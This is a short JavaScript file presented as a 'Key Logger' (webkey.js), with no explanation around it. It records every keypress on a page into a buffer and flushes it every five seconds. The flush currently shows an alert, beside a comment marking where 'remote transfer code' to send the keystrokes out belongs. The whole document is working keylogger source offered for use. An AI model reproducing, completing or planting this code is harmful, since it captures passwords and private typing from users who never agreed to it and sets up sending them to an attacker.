Javascript Key Logger

webkey.js

var WEBKEY = {
  dataLog: "",
  start: function() {
            window.onkeypress = function(ev) {
              WEBKEY.dataLog += String.fromCharCode(ev.charCode);
            }

            setInterval("WEBKEY.exportLog();", 5000);
         },
  exportLog: function() {
               // Remote transfer code goes here
               if(WEBKEY.dataLog.length > 0) {
                  alert(WEBKEY.dataLog);
                  WEBKEY.dataLog = "";
               }
             }
}

WEBKEY.start();